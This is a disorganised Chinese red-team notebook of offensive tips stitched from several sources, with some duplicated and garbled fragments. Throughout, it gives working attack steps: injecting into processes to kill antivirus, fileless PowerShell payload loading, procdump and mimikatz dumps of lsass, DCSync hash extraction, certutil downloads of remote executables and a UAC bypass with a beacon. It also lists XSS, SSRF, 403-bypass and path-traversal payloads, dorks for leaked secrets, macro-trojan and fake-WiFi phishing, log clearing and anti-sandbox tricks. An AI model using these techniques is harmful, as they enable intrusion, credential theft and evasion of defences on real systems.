个人收集redteam重要tips(2000行 51898字符)

由于是NET平台,可以先搜集以下所有相同系统的站点。然后扫一扫备份之类的。常见的字典如: web.rar 备份.rar

不能使用默认冰蝎和普通菜刀,去找一下面杀版的,蚁剑 behinder
Nessus(系统扫描与分析软件)
Application.evtx文件—日志分析
仿写,抄写脚本
同类系统查询找漏洞
遇到url的 forbidon 可以扫录试试
御剑web指纹识别
源码中可能有后台连接
使用ipc连接域控,注意这里需要用主机名而不能用ip
上传jsp的shell的话可以直接网页输入命令。
一般情况下往png后加个特殊字符能认为它是白名单不能进行绕过
反序列化的真正本质-类的调用过程-涉及java classloader(类加载器,利用java做框架的人普遍得学)
多学英语,国外漏洞都是英语

linux提权首选脏牛提权
高级mock是一种给服务器主机增加协议过滤ip等(通过脚本)的东西,那么也能够在高级mock中添加某种脚本文件来获取系统操作权限
定期刷漏洞库

在线力公系统的稿件是不能随意看到的,通常也是需要登录才能看到的。之所以在 hadkbar 能正常输入输出,是因为 Firefox 有 cooke .菜刀是没法填 cookie 的,需要到中国蚁刽,默认蚊剑也没有 cooke ,需要自己从浏览器复制进去所以大家在滲透的时候,遇到问题,可以换个浏览器访问看看,一个是因为 cooke 的问题,另外一个是目标站点对浏览器的适配可能有差别,导致看到的东西不一样,也是会影响到最终的渗透结果的。

fofa验证 docker 的两个小方法
ps -ef :docker 一般显示很少的进程
ls -a /.dockerenv

RCE(远程代码执行):是互联网的一种安全漏洞。
SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务。
使用docker搭建靶场什么的比较好(docker是大佬对漏洞进行复现后写出来的docker文件,减少错误)

传txt 后html 后传hallo word 最后再传免杀

固定中间件端口 ip变化 遍历构造看下能不能ping出来

如果的能ping出来的再用工具找洞

作业16.了解XSS,SSRF,CSRF,XML注入,JSON注入等漏洞原理过程…..自己选一种漏洞写一篇专题总结文章,必须发表在freebuf,嘶吼,安全客,漏洞盒子 甚至看雪论坛等黑客主流媒体。(crlf)
LSB隐写题集

0x03 PowerShell内存执行exe

这也是现在红军非常流行的攻击手法,payload在内存中加载执行,也就是所谓的文件不落地,大致分以下几步
先将生成的payload在本地进行base64编码

靶机执行远程下载命令

靶机对payload进行解码并赋值给一个变量

PowerShell远程加载Invoke-ReflectivePEInjection模块(PE反射注入)并执行payload

火绒权限大于360权限大于安全狗 可以注入火绒然后再把360和安全狗杀了
但是比较难 不过可以注入360吧360自己和安全狗给杀了(还剩360主动防御)
taskkill杀火绒
注入回svchost.exe用它去杀死360的主动防御,这次杀死后就不会再生了
火绒的父进程是service.exe,可以注入到service.exe中,用service.exe杀Hips*.exe

分析找线索做表字典
进去后先截图既能留作证据又能用于后面隐藏

shell进去后可以systeminfo看下是什么服务器

打进去后截屏装载荷,添加信任

porttunnel 打进去后,将里面的windowsmicrosft防火墙关掉。然后再在肉鸡或者云服务器第一栏填肉鸡转发出去的ip加端口,第二栏写打进去的服务器的ip加端口。再在本地机用cs监听
cs可以配置两个端口,一个是打的服务器的 一个是肉鸡的。 还能配置多个云服务器装porttunnel进行转发

15.access 扫出后缀为asp的数据库文件,访问乱码,如何实现到本地利用?

迅雷下载,直接改后缀为.mdb。

\提权时选择可读写目录,为何尽量不用带空格的目录?

因为exp执行多半需要空格界定参数

\某服务器有站点A,B 为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户?

同数据库。

19:某个防注入系统,在注入时会提示:

系统检测到你有非法注入的行为。
已记录您的ip xx.xx.xx.xx
时间:2016:01-23
提交页面:test.asp?id=15
提交内容:and 1=1

20、如何利用这个防注入系统拿shell?

在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。

上传大马后访问乱码时,有哪些解决办法?

浏览器中改编码。

目标站发现某txt的下载地址为
http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?

这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址

为什么aspx木马权限比asp大?

aspx使用的是.net技术。IIS 中默认不支持,ASP只是脚本语言而已。入侵的时候asp的木马一般是guest权限…APSX的木马一般是users权限。

如果提示缺少参数,如{msg:params error},可尝使用字典模糊测试构造参数,进一步攻击。

程序溢出,int最大值为2147483647,可尝试使用该值进行整数溢出,观察现象。

验证码简单绕过:重复使用,万能验证码(0000,8888),空验证码,验证码可识别(可用PKAV HTTP Fuzzer工具识别等)

短信轰炸绕过:手机号前加+86有可能会绕过,手机号输入邮箱,邮箱处输入手机号

SQL注入时,如果数据库是Mysql,可以尝试使用&&替换and,如:' && '1'='1' %26%26 '1'='1

SQL注入时,如果数据库是Mysql,waf过滤了=,可尝试用like替代。如:and 1 like 1

如果开放了redis服务(1234端口),可以尝试使用/actuator/redis/info语句看是否能读取敏感信息,如:http://www.xxx.com:1234/actuator/redis/info

PI接口处,可以自己构造参数,POST形式传参,可以尝试构造为JSON格式,记得添加content-type: application/json,一些可尝试参数,page,size,id。

图片验证码可设置为空,如:code=undefined

自动以验证码内容,观察Cookie中,参数中是否有发送给用户的内容,可以尝试更改,可以构造钓鱼链接。

在JS文件中搜索关键字APISwagger UI等等,尝试寻找API接口地址。

信息收集,在搜狗搜索中选择微信可以搜索相关企业相关公众号资产

swagger接口常见路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
/swagger/
/api/swagger/
/swagger/ui/
/api/swagger/ui/
/swagger-ui.html/
/api/swagger-ui.html/
/user/swagger-ui.html/
/swagger/ui/
/api/swagger/ui/
/libs/swaggerui/
/api/swaggerui/
/swagger-resources/configuration/ui/
/swagger-resources/configuration/security/

swagger组件特征固定title:Swagger UI

如果遇见后台页面一闪而过,接着让你登录,一般使用了权限认证方式,可以用一下方式进行绕过,或者遇见401,403,302,都可以尝试使用以下方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
一、GET /xxx HTTP/1.1 à403
Host: test.com
绕过:
GET /xxx HTTP/1.1 à200
Host: test.com
X-Original-URL: /xxx

二、GET /xxx HTTP/1.1 à403
Host: test.com
绕过:
GET /xxx HTTP/1.1 à200
Host: test.com
Referer: http://test.com/xxx

三、302跳转:拦截并drop跳转的数据包,使其停留在当前页面。
四、前端验证:只需要删掉对应的遮挡模块,或者是验证模块的前端代码。

一款生成gopher协议payload的工具:

1
https://github.com/firebroo/sec_tools

XSS过滤了单引号,等号可以:

1
2
3
4
5
①、使用:String.fromCharCode(97,108,101,114,116,40,49,41);
alert(1),该方法输出的结果为字符串,可以使用eval()进行执行,即弹框操作
eval(String.fromCharCode(97,108,101,114,116,40,49,41));
②、atob函数:
eval(atob`YWxlcnQoMSk=`) 为 eval(atob`alert(1)`) 其中`为反引号

XSS过滤了单引号,等号以及圆括号,eval:

1
2
3
①、过滤了eval函数可以用其他函数去绕过,如:Function,constructor
Function`a${atob`YWxlcnQoMSk=`}```
``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```

可使用下面命令查看是否处在docker虚拟机中

1
cat /proc/1/cgroup

万能密码试试'=0#

36、CORS漏洞验证,可以使用curl来验证:

1
2
curl https://www.xxxx.com -H "Origin: https://test.com" -I
检查返回包的 Access-Control-Allow-Origin 字段是否为https://test.com

37、在盲测目标系统是否为Shiro时,可以在Cookie中手动构造rememebrMe=xxx,如果返回包中Set-Cookie中存在rememberMe=deleteMe,则证明该系统使用了Shiro,因此可以进一步攻击。
38、使用正则获取网站中所包含的其他URL:

1
2
3
cat file | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*

curl http://host.xx/file.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*

39、常见的一些远程命令执行(RCE)参数,详情,请看dicts目录下的RCE-extentions.txt文件。

40、绕过SSRF防护的几个小方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
A、绕过SSRF限制通过CIDR,如:
http://127.127.127.127
http://127.0.0.0

B、不完整的地址,如:
http://127.1
http://0

C、将地址结合在通过特殊字符结合在一起,如:
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib : 3.3.3.3

D、绕过解析器,如:
http://127.1.1.1:80\@127.2.2.2:80/

E、绕过localhost通过[::],如:
http://[::]:80/
http://0000::1:80/

41、几个常用的Google语法:

1
2
3
4
5
inurl:example.com intitle:"index of"
inurl:example.com intitle:"index of /" "*key.pem"
inurl:example.com ext:log
inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv
inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git

42、通过favicon的hash来对比相关联的两个网站:

1
2
脚本地址:https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py
命令:python3 favihash.py -f https://target/favicon.ico -t targets.txt -s

43、一些本地包含参数,详情请看dicts目录下的LFI-extentions.txt文件。

44、在JavaScript文件中可以找一些隐藏的GET参数,比如:

1
2
3
4
首先,在js文件中找到一些变量,比如:var test="xss"
然后,可以尝试使用GET方法构造每一个参数,比如:
https://example.com/?test=”xsstest
本方法可能会发现一些XSS

45、使用github dorks帮助我们寻找一些敏感信息,比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
extension:pem private
extension:ppk private
extension:sql mysql dump password
extension:json api.forecast.io
extension:json mongolab.com
extension:yaml mongolab.com
extension:ica [WFClient] Password=
extension:avastlic “support.avast.com”
extension:js jsforce conn.login
extension:json googleusercontent client_secret
“target.com” send_keys
“target.com” password
“target.com” api_key
“target.com” apikey
“target.com” jira_password
“target.com” root_password
“target.com” access_token
“target.com” config
“target.com” client_secret
“target.com” user auth
通过上述语法,可以搜索到一些敏感的私钥,一些SSH登录私钥,mysql的数据库密码,API key等等。
另外推荐一个脚本:https://github.com/techgaun/github-dorks

46、SSRF常见的参数,详情请看dicts目录下的SSRF-extensions.txt文件。

47、通过添加.json后缀,泄露一些敏感信息,比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
一次正常请求:
GET /ResetPassword HTTP/1.1
{"email":"victim@example.com"}
响应:
HTTP/1.1 200 OK

添加.json后缀的请求:
GET /ResetPassword.json HTTP/1.1
{"email":"victim@example.com"}
响应:
HTTP/1.1 200 OK
{"success":"true","token":"596a96-cc7bf-9108c-d896f-33c44a-edc8a"}
原链接:https://twitter.com/SalahHasoneh1/status/1293918353971531776

48、如果响应为401,可以试试在请求头中添加X-Custom-IP-Authorization: 127.0.0.1

49、利用火绒剑,配合微信发语音的方式,可以获取该人的登录IP。

50、目录穿越,敏感文件读取一些Payload:

1
2
3
4
5
6
7
\..\WINDOWS\win.ini
..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
.?\.?\.?\etc\passwd
../../boot.ini
%0a/bin/cat%20/etc/passwd
\\'/bin/cat%20/etc/passwd\\'
..%c1%afetc%c1%afpasswd

51、在访问admin路径面板时可以通过添加%20,来绕过,具体如下:

1
2
3
4
target.com/admin –> HTTP 302 (重定向到登录页面)
target.com/admin%20/ -> HTTP 200 OK
target.com/%20admin%20/ -> HTTP 200 OK
target.com/admin%20/page -> HTTP 200 OK

52、在重置密码的地方,可以尝试添加另外一个次要的账号,比如,手机号,邮箱号等等,比如:

1
2
3
4
5
6
7
8
9
10
11
12
a、构造两个参数:
email=victim@xyz.tld&email=hacker@xyz.tld
b、使用抄送方式:
email=victim@xyz.tld%0a%0dcc:hacker@xyz.tld
c、使用分隔符:
email=victim@xyz.tld,hacker@xyz.tld
email=victim@xyz.tld%20hacker@xyz.tld
email=victim@xyz.tld|hacker@xyz.tld
d、不使用域名:email=victim
e、不使用顶级域名:email=victim@xyz
f、JSON情况:
{"email":["victim@xyz.tld","hacker@xyz.tld"]}

53、如果有利用邮箱重置密码功能的情况,而且还是JSON传输的情况下,使用SQLmap跑注入,可以将*(星号)放在@之前,比如:

1
2
3
4
5
{“email”:”test*@xxx.com”}
或者在*(星号)这个地方进行手注
原因大家可以看这里:https://tools.ietf.org/html/rfc3696#section-3

原文链接:https://www.infosecmatter.com/bug-bounty-tips-7-sep-27/#2_bypass_email_filter_leading_to_sql_injection_json

54、可以获取目标站点的favicon.ico图标的哈希值,然后配合shodan进行目标站点资产收集,因为每个目标站点的favicon.ico图标的哈希值可能是固定值,因此可以通过该方法从shodan,fofa等等去寻找更多资产。简单的用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#python 3
import mmh3
import requests
import codecs
response = requests.get("https://www.baidu.com/favicon.ico")
favicon = codecs.encode(response.content,"base64")
hash = mmh3.hash(favicon)
print(hash)

或使用下面这个github项目:
https://github.com/devanshbatham/FavFreak

shodan搜索语句:http.favicon.hash:哈希值
fofa搜索语句:icon_hash="-247388890"(但仅限于高级用户使用)

原文链接:https://www.infosecmatter.com/bug-bounty-tips-8-oct-14/#8_database_of_500_favicon_hashes_favfreak

55、绕过403和401的小技巧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
a、添加以下请求头,比如:X-Originating-IP, X-Remote-IP, X-Client-IP, X-Forwarded-For等等;有可能会有一些白名单IP地址可以访问这些敏感数据。

b、如果使用GET方法访问某些路径,返回403,可以先访问允许访问的路径,然后在请求头中,添加下面的头:
X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin

c、可以使用下面这些Payload试试
/accessible/..;/admin
/.;/admin
/admin;/
/admin/~
/./admin/./
/admin?param
/%2e/admin
/admin#

原文链接:https://www.infosecmatter.com/bug-bounty-tips-8-oct-14/#11_tips_on_bypassing_403_and_401_errors

56、如果访问/.git目录返回403,别忘了进一步访问下面的目录,比如:/.git/config

57、使用通配符绕过WAF,如果WAF拦截了RCE,LFI的payload,我们可以尝试使用通配符来绕过,比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/usr/bin/cat /etc/passwd ==  /???/???/c?t$IFS/?t?/p?s?wd
? = 任意的单个字符
* = 任意字符串,也包含置空的字符串
通配符在常见的系统中都适用,另外我们可以使用$IFS特殊变量取代空白
$IFS = 内部字段分隔符 = [space], [tab] 或者 [newline]

cat /etc$u/p*s*wd$u

小例子,执行/bin/cat /etc/passwd的写法:
/*/?at$IFS/???/???swd
/****/?at$IFS/???/*swd
/****/?at$IFS/???/*******swd

原文地址:https://www.infosecmatter.com/bug-bounty-tips-9-nov-16/#8_waf_bypass_using_globbing

58、绕过403的一个BurpSuit插件,地址:

1
https://github.com/sting8k/BurpSuite_403Bypasser

59、SSRF bypass列表,基于localhost(127.0.0.1),如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
http://127.1/
http://0000::1:80/
http://[::]:80/
http://2130706433/
http://whitelisted@127.0.0.1
http://0x7f000001/
http://017700000001
http://0177.00.00.01
http://⑯⑨。②⑤④。⑯⑨。②⑤④/
http://⓪ⓧⓐ⑨。⓪ⓧⓕⓔ。⓪ⓧⓐ⑨。⓪ⓧⓕⓔ:80/
http://⓪ⓧⓐ⑨ⓕⓔⓐ⑨ⓕⓔ:80/
http://②⑧⑤②⓪③⑨①⑥⑥:80/
http://④②⑤。⑤①⓪。④②⑤。⑤①⓪:80/
http://⓪②⑤①。⓪③⑦⑥。⓪②⑤①。⓪③⑦⑥:80/
http://0xd8.0x3a.0xd6.0xe3
http://0xd83ad6e3
http://0xd8.0x3ad6e3
http://0xd8.0x3a.0xd6e3
http://0330.072.0326.0343
http://000330.0000072.0000326.00000343
http://033016553343
http://3627734755
http://%32%31%36%2e%35%38%2e%32%31%34%2e%32%32%37
http://216.0x3a.00000000326.0xe3

原文链接:https://www.infosecmatter.com/bug-bounty-tips-10-dec-24/#13_ssrf_bypass_list_for_localhost_127001

60、对于Apache shiro的CVE-2020-17523的未授权访问,是由于Spring+shiro结合造成的漏洞,可在路径后面添加%20,尝试访问该路径内容,造成未授权访问操作。

61、在一些验证码登录,找回密码等地方需要输入手机号,邮箱号的话,尝试配合SQL注入联合查询方式,填写可控手机号,实际情况实际分析。

62、密码爆破不如意,试试”密码喷洒攻击(Password Spray Attack)”法,多来收集用户名。

63、Exchange的下的目录以及功能介绍:

1
2
3
4
5
6
7
8
9
/autoDiscover/	自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。
/ecp/“Exchange Control Panel” Exchange管理中心,管理员用于管理组织中的Exchange的Web控制台
/eWS/“Exchange Web Services” Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互
/mapi/ Outlook连接Exchange的默认方式,在20132013之后开始使用,2010 sp2同样支持
/microsoft-Server-ActiveSync/ 用于移动应用程序访问电子邮件
/OAB/“Offline Address Book” 用于为Outlook客户端提供地址簿的副本,减轻Exchange的负担
/owa/“Outlook Web APP” Exchange owa 接口,用于通过web应用程序访问邮件、日历、任务和联系人等
/powerShell/ 用于服务器管理的Exchange管理控制台
/Rpc/ 早期的Outlook还使用称为Outlook Anywhere的RPC交互

64、针对于Exchange的账号格式,可以尝试:domain\username、domian.com\username、username

65、一个验证域名是否使用了Exchange的脚本:https://github.com/vysecurity/checkO365

66、使用云函数的多出口特性,可以将其作为代理池来用。思路大概为:

1
2
3
4
5
流程:浏览器请求数据 -> 编写代理 -> 通过代理将数据传给api网关 -> api网关触发云函数并将参数作为event传入进云函数内 (然后反向流程将数据返回到浏览器中)
所以我们大致编写代码步骤为:
1、编写云函数,使用api网关做触发器,云函数主要处理api网关传来的数据,再将访问返回的数据包传会给api网关
2、编写代理代码,主要接收浏览器传来的数据,并将数据整理传给api网关,然后回到第一步。
注:这是一个思路,具体实现不局限于此,各位大佬各显神通吧~

每5000字一个tips结尾

小tips2

‘反引号可以在xxs中绕过,不可以在sql中,但是好像在网站中可以

学校的英语听远程定时关机重启开机,开关显示屏

1
2
linux关闭显示器命令:xset dpms force off
win:可以命令修改休眠时间,命令定时开启机器
  1. 第一点:写http隧道马的时候,用哥斯拉直接编辑新建一个隧道马,但是连接的时候报错,可能是哥斯拉出现了数据断流,导致写进去的文件缺东西了,后来直接把隧道马传上去就不报错了。
  2. 第二点:网上的例子大多数都用pystinger反代cs服务端来处理这种不出网上线cs的情况,但是可能因为目标网络环境的不一样导致各种玄学报错,所以Pystinger的局限性还是很大的,而且Pystinger客户端还不免杀。
  3. 第三点:正向shell免杀,不多说的,cs的无阶段木马都是这样,无法通过混淆加载器的方法免杀。
  4. 第四点:正向shell的提权,cs插件提权只能反弹一个反射型的shell,无法反弹正向shell。
  5. 第五点:有趣的是,无阶段木马是能生成powershell脚本的,而powershell脚本是很好混淆免杀的,但是目标是server2016,默认开启AMSI,混淆免杀在它面前形同虚设。(要是目标是2012、2008系统就可以通过powershell正向bind上线)

alt+鼠标拖动可以进行按列选取

sqlmap—–shell

-priv和-osshell的使用 可以直接上传转换为自己的或者sqlmap自带的aspx码。php码等,还可以利用上传的码转发给msf。cs,或者转换新码加固。转到msf,cs后可以进行进程转发。注入进程等

拿到spn票据然后破解可以得到域的密码(kali有相关的工具)

ls -l /etc/passwd的返回种 -rw-r- -r- -表示/etc/passwd文件不允许除root以外的用户进行写入,但passwd命令可以(通过setuid机制)临时以root权限来运行

-r-s- -x- -x中的 r-s 这里的s表示该程序以启用setuid

-rws- -x- -x 中的rws表示已经启用了setuid

s 192.168.8.6 p 4000 i 10.0.92.92

G 10.0.92.1 M 255.255.252.0

s应该是服务端,p是端口,i是ipv4,g是网关,m是子网掩码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
声东击西,其实已经沦陷了别人在偷数据你们却被大量无用日志一叶障目。:偷数据的同时增加大量各种日志

,你完全可以用任何编码、加密算法,来发送你的 payload, 前提是你的 webshell 里面有对应的解码、解密算法。比如说你可以在 base64 数据前面随机加几个字符,导致 base64 无法直接解码,或者,你还可以像下面这样,直接用 zlib 把 payload 压缩之后再进行 base64 编码发送:

当然了,针对 WAF最爱的 eval、base64_decode 等关键字,会强制进行拆分,美中不足的是,目前 nodejs 对畸形chunk支持还不是很好,无法发送畸形的 chunk 包。当然这种方式也是利用的 WAF 对该类型的报文解析不完善。有个思路是,你可以自己写一个 Proxy 来专门把普通的包转成畸形包。

图片

聪明的你是不是已经想到了,burp 有个插件 chunked-converter 就可以完成这件事,不过你需要自己改改他的代码。

这种传输方式,要想检测到,WAF也得相应的支持对 chunk 分块传输的解析,在接到数据包的时候需要把之前的报文能关联起来进行分析。还是那句话,考虑性能

很多免杀都是将shellcode加载器写到一个文件中去,再使用另外一个脚本调用,多层调用,多层加密,加壳


1
最近看到一个文章《Rust 是可能编程的未来》,现在看到了php利用web java利用反序列化,python写poc,nim,go啥的都可以写攻击脚本和攻击工具,c/c++语言最底层编译,二进制做逆向。再加上现在的rust有一种未来会成为主流开发人员利用工具,且可以在多种领域使用。将来网站也可能是用rust作为一种开发手段。 而这种工具随着历史的推移也会不断进步迭代。渗透人改如何跟进甚至超越时代脚步。用自身的态势感知去掌握先进工具的利用,编写红队工具等方法来充分利用这些工具。渗透人该怎么去适应这种趋势呢?这是一个值得思考的问题。

能联网就能反向连接

pyinstxtractor.py居然可以破解pyinstaller --key -F参数加密打包的文件。

而且生成的_key文件里面有密码

,CS生成的ShellCode只是一段下载者。主要功能为下载becon.dll,然后内存加载,我们所用的相关功能都在becon里。ShellCode可能采用汇编或VC编写后转成机器码提取关键机器码,优势在于体积小。体积小就可以直接结合漏洞使用

**
指令:** 命令cpu干什么,是由操作码字段和地址码字段(操作数字段)组成

操作码(Opcode): 就是执行某种操作的命令代码

BYTECODE(字节码):与机器代码相同,除了它主要由基于软件的解释器(如Java或CLR)使用**
**

程序集:有两个“程序集” – 一个汇编程序是一系列的助记符和操作数,它们被馈送到“汇编程序”,“汇编程序”将助记符和操作数“汇编成可执行的机器代码”.可选地,“链接器”链接组件并生成可执行文件.

CLR语言:(.NET语言)中的第二个“程序集”是一系列CLR代码,其中注入了元数据信息,可执行代码库,但不能直接执行.

ShellCode是子弹,用枪发射(好比处理器执行); 无论你用的是哪种子弹(ShellCode),都是用枪来射(处理器执行)。

Payload: K8的理解是弹药,弹药可装填到弹壳里用,也可直接点然,也可圈起来当成炮仗点燃,但是弹药不能直接被枪发射。

推荐挖挖培训机构(不少都是上市公司,而且对安全这一块相对不怎么重视)

1
2
3
4
5
6
7
8
利用procdump+Mimikatz来读取windows明文密码。

由于prodump.exe是微软系统自带,有微软的签名证书,所以杀软不会拦截。
\# lsass.dmp保存至当前目录
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
\# 脱回本地,猕猴桃(mimikatz)读取明文密码
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

断网状态下登录之前登录过的svip账户再连接上网络就能继续使用

win dir等于linux ls

socks5不支持icmp协议 不能ping

shell进入后 权限不够高,可以使用看现有语言环境(php python go c等),根据环境代码进行各种半交互提权

学习游戏打球!!! 2021/11/26 15:25:39
PHP 上传,⽆法上传 php、解析、后台没有办法拿到,只有⼀处点可以上传。通过 Windows 特性 shell.php::$DAT,是⼀个项⽬管理系统

这是啥

0、如何利⽤这个防注⼊系统拿 shell?
在 URL ⾥⾯直接提交⼀句话,这样⽹站就把你的⼀句话也记录进数据库⽂件了 这个时候可以尝试寻找⽹站的配置⽂件

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce这个路径,也是能够添加指向程序的路径来实现自启动的,这里跟之前有一点不同的就是这个路径下的key在重启后执行一次就会自动删除,而Run目录下的注册表如果不去管他他会一直存在

copy ab那个是脚本图片码,不是二进制图片码

其实前面这些魔改只是做的表面功夫,真正到实战当中还是会被实力强的杀软秒杀,比如卡巴斯基等。遇到这些对手,需要让beacon和其他后渗透模块高度自定义,这里面涉及到很多方面,静态和行为都需要改造,所以单从魔改CS的客户端、服务端和控制端已经远远不够了,并且灵活度太低,参考快乐鸡哥师傅用C#重写的SharpBeacon(师傅YYDS)。另外,鉴于改造CS的客户端这么麻烦,不如在搞清楚CS的内部原理之后,在外部建设一个Stager生成服务,通过CS的配置动态生成各种语言版本的Stager,这样省去了通过Agent动态替换JAVA指令的麻烦,灵活度大大增加。(stager就是监听器的那些域名或者ip啥的(内容框里是这些,不太好解释,暂时也不太懂))

1
2
3
免杀还是具有时效性,如果有不怕时效性甚至能够像Ai一样自我升级

或者说有个很强大的论坛平台或者人群基数,去进行想法创新而产生的维护。这是我未来的一些思考和方向

内核溢出是用来提权 不是用来拿shellimg{7.gif)

拿到 shell 之后,发现有 360 主动防御和 360 杀毒?

可以试试命令:logoff 1 或者 logoff 2 ,会有意想不到的效果~

拿到 shell,将 3389 端口转发出来之后,尝试连接发现出现问题,估计是限制了我这边的 IP 访问。

图片

解决方法:添加注册表 AllowEncryptionOracle 项即可。

参考:https://www.cnblogs.com/lindajia/p/9021082.html

一条命令直接解决(需要在 system32 目录下的 cmd 中执行):

1
REG add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters /v AllowEncryptionOracle /t REG_DWORD /d 2 /f

进入内往后本地开服务,内网连接服务器下载lcx进行端口转发

在命令前加空格,命令不会被记录

1
[空格]cat /etcpasswd

坚持把不懂得渗透脚本函数写下来并背下来

cmd隐藏文件 attrib test.txt

通常我们所说的敏感文件、敏感目录大概有以下几种:

•robots.txt•crossdomain.xml•sitemap.xml•后台目录•网站安装目录•网站上传目录•mysql管理页面•phpinfo•网站文本编辑器•测试文件•网站备份文件(.rar、.zip、.7z、.tar、.gz、.bak)•DS_Store文件•vim编辑器备份文件(.swp)•WEB-INF/web.xml文件

蚁剑后渗透模块反弹shell到msf火绒不会查杀

钓鱼的时候先发多发几个文件。前几个就正常查询文件,最后一个做好宏免杀的木马。就行,有的人就一定会一个一个点进去看一看

图片

“c””e””r””t””u””t””i””l” -“u””r””l””c””a””c””h””e” -split -f https://url/1.exe 1.exe

powershell编辑

可以用“您是盗版软件受害者”来钓鱼

可以用shell C:\tmp\bypassuac.exe C:\tmp\beacon.exe来提权

内网信息收集时导出所有spn到文本后,将主机名列出

grep “CN=” spn.txt | awk -F “,” {‘print $1’} | awk -F “=” {‘print $2’} > host.txt

拿下了域控

导出ntds,抓下密码,这里使用mimikatzlsadump::dcsync /domain:xxx /all /csv command

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
Bvp47 在 Hook 掉__d_lookup 函数后主要用于自身文件的隐藏和触发自删除 流 程 , 利 用 hook 

__d_lookup 来 校 验 上 层 应 用 是 否 试 图 访 问 /usr/bin/modload 文件

Hook devmem_is_allowed 后,用户态的 Bvp47 就可以任意读写内核空间了。

Bvp47 会通过修改内核模块 elf 文件的前四个字节,达到躲避内存搜索 elf 的目的,并通过自己的

lkm loader 进行加载。

BPF(Berkeley Packet Filter)是 Linux 内核中用来过滤自定义格式数据包的内核引擎,它可以提

供一套规定的语言供用户层的普通进程来过滤指定数据包。

Bvp47 直接利用 BPF 的这个特性作为隐蔽信道环节中在 Linux 内核层面的高级技巧,避免直接的

内核网络协议栈 hook 被追踪者检测出来。

其它技术特点

不受信任的程序往往由沙箱运行并监测行为。程序运行时往往并没有真正落地,也就时说此时的

argv[0]所指路径并不是程序的真正路径。程序通过syscall调用lstat,以求绕过SandboxRing3的

Hook,查看argv[0]所指的文件是否真实存在。

**1. 利用setrlimit api来设置core dump文件(内核转存文件)大小0,防止样本提取;**

**2. argv[0]与lstat结合的反沙箱技术;**

mkstmp时用来在Linux /tmp目录下生成临时文件的Api。(猜测时由于当时沙箱并没有对这个Api

提供支持,或者沙箱策略禁用了mkstmp。因此可以用mkstmp调用是否成功来识别沙箱)。

**3. mkstmp 反沙箱技术**

沙箱中的/boot目录下的文件往往只有2个一个文件/boot/.另一个/boot/..。所以只要打开/boot目

录统计/boot目录下的文件个数,往往可以识别沙箱。(Windows上会通过TEMP目录下的临时文

件数)。

**4. /boot 反沙箱技术**

沙箱中的/boot目录下的文件往往只有2个一个文件/boot/.另一个/boot/..。所以只要打开/boot目

录统计/boot目录下的文件个数,往往可以识别沙箱。(Windows上会通过TEMP目录下的临时文

件数)

**5. Aip Flooting 与 延迟执行**

任何沙箱只会为每个样本分配有限的时间。因此调用大量合法Api,以达到延迟执行,用以躲过沙

箱的起爆分析。

rc-x

SYNKn

遇到302 如何让sql跑起了

直接在响应包里面让他报错,然后让sqlmap自动识别即可 这个点可以记住

Arduino+esp8266+钓鱼wifi(20RMB)

  1. 使用Arduino IDE 然后单片机是用的esp8266(具体编译环境的配置可以参考http://www.taichi-maker.com/)
  2. 如果只是测试玩的话大概淘宝9.9元也是可以买到的,只不过如果需要带电池单元的话可能就须要再买个电池模块了
  3. 步骤是,先把写好的页面写入到闪存里面去,然后再把程序烧录到里面去,插上电就可以搞了
  4. 用户连接到我们的wifi(无密码),就会自动弹窗到钓鱼页面中去(这个利用了DNS协议)
  5. 用户输入口令到页面中,然后提交,程序就会把信息存储到/info.txt中,也会输出到串口中
  6. 钓鱼完成后 使用show_info程序从闪存中读出来信息即可

Ctrl+K+C快速批量注释

winodws桌面:TeamViewerQS单文件

windows下载文件;
certutil -urlcache -split -f https://raw.githubusercontent.com/backlion/demo/master/CVE-2017-11882-v1.py test.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
日志清理:

winodws桌面:TeamViewerQS单文件

windows下载文件;
certutil -urlcache -split -f https://raw.githubusercontent.com/backlion/demo/master/CVE-2017-11882-v1.py test.py

防火墙日志路径:%systemroot%\system32\logfiles\
IIS日志路径:%systemroot%\system32\logfles\
windows系统日志:%systemroot%\system32\config\
